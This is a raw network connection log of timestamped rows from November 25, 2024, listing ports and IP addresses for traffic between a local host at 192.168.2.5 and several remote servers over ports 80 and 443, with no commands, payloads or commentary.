Nov 25, 2024 14:14:50.223352909 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.223364115 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.223419905 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.223615885 CET	49874	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.223629951 CET	443	49874	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.238987923 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.239054918 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.239074945 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.239089012 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.239115953 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.239125967 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.239130020 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.239254951 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.239306927 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.239510059 CET	49875	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.239516973 CET	443	49875	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.298676968 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.298696995 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.298748016 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.298758984 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.298804998 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.309437037 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.309504986 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.325789928 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.325830936 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.325884104 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.325892925 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.325946093 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.325952053 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.326020956 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.326042891 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.326071978 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.326272011 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.326282024 CET	443	49873	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:50.326323986 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.326344967 CET	49873	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:50.549798012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:50.549868107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:50.588860035 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:50.588901997 CET	443	49883	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:50.588978052 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:50.596070051 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:50.596082926 CET	443	49883	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:50.601675034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:50.721843004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:50.960450888 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:50.960495949 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:50.960642099 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:50.961025000 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:50.961039066 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:50.998182058 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.000063896 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.008655071 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.008683920 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.008711100 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.008724928 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.011403084 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.011418104 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.013739109 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.013746023 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.024503946 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.025049925 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.025058985 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.025955915 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.025959969 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.086009026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:51.086086988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:51.093981028 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:51.148109913 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.148669004 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.148699999 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.149228096 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.149240971 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.214822054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:51.214909077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:51.215359926 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:51.336915016 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:51.443850994 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.443921089 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.444046974 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.444272995 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.444272995 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.444293976 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.444303989 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.445777893 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.445844889 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.445950031 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.446010113 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.446027994 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.446043015 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.446048021 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.447539091 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.447567940 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.447849989 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.448021889 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.448030949 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.448031902 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.448071003 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.448127985 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.448275089 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.448286057 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.476303101 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.476380110 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.476594925 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.476659060 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.476659060 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.476682901 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.476692915 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.480165958 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.480207920 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.480288029 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.480438948 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.480453014 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.586812019 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.586905956 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.586987972 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.589083910 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.589108944 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.589124918 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.589131117 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.593781948 CET	49889	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.593813896 CET	443	49889	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.593924999 CET	49889	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.594091892 CET	49889	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.594106913 CET	443	49889	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.777379990 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.778249979 CET	49882	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.778274059 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.778774977 CET	49882	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:51.778780937 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:51.852106094 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.852143049 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.852201939 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.852221966 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.852241993 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.852284908 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.853001118 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.853012085 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.853192091 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.853209972 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.853235960 CET	443	49871	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.853359938 CET	49871	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.901128054 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.902686119 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.912502050 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.912518024 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.912648916 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.912668943 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.913089037 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.913134098 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.915241003 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.915342093 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.915843964 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.915909052 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.915939093 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.916004896 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.916027069 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.916043997 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.916089058 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:51.916100979 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:51.960241079 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.960283041 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:51.960453033 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.960666895 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:51.960678101 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:52.233005047 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:52.233081102 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:52.233191013 CET	49882	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:52.233431101 CET	49882	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:52.233474016 CET	443	49882	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:52.238630056 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:52.238672972 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:52.238794088 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:52.238965034 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:52.238976955 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:52.559153080 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.559231043 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.559276104 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.559998035 CET	49881	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.560012102 CET	443	49881	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.567806959 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.568021059 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.568159103 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.568248987 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.568275928 CET	443	49880	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.568285942 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.568342924 CET	49880	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.612126112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612152100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612163067 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612217903 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.612234116 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.612284899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612297058 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612308979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612320900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612361908 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.612382889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.612551928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612565041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612576962 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.612598896 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.612620115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.736552954 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.736649036 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.736690044 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.736706018 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.815896034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.815989971 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.816257000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.816329002 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.820167065 CET	443	49883	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.820442915 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.820462942 CET	443	49883	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.821064949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.821130037 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.821177006 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.821228027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.821510077 CET	443	49883	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.821584940 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.822180986 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.822241068 CET	443	49883	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.822403908 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.822468996 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.822484970 CET	443	49883	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:52.828258991 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.828316927 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.828641891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.828728914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.835596085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.835669994 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.835721016 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.835769892 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.843461990 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.843513012 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.843583107 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.852005005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.852080107 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.852406025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.852468014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.860568047 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.860708952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.860724926 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.860757113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.869146109 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.869227886 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.869261026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.869307041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.871790886 CET	49883	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:52.877744913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.877804041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.877830982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.877875090 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.885730982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.885807991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.885838985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.885889053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.893753052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.893814087 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:52.893949032 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:52.894009113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.015738010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.015815020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.016180038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.016253948 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.018532038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.018588066 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.018721104 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.018843889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.023272991 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.023338079 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.023597956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.023658991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.027228117 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.027302027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.027417898 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.027466059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.032289982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.032351017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.032439947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.032632113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.037363052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.037589073 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.038110971 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.038203955 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.042232037 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.042356014 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.042424917 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.047245979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.047307014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.047374964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.047420025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.052423954 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.052485943 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.052495956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.052556038 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.057328939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.057410002 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.057493925 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.057604074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.062408924 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.062469006 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.062628984 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.062726974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.067257881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.067466974 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.067497015 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.067531109 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.072294950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.072386026 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.072395086 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.072443962 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.077322006 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.077352047 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.077392101 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.077425003 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.086023092 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.086039066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.086096048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.088558912 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.088646889 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.088690042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.088751078 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.093508959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.093564034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.093605042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.093630075 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.097610950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.097681046 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.097732067 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.102312088 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.102396965 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.102658033 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.102722883 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.107373953 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.107441902 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.107767105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.107817888 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.112566948 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.112627029 CET	49885	80	192.168.2.5	185.215.113.16
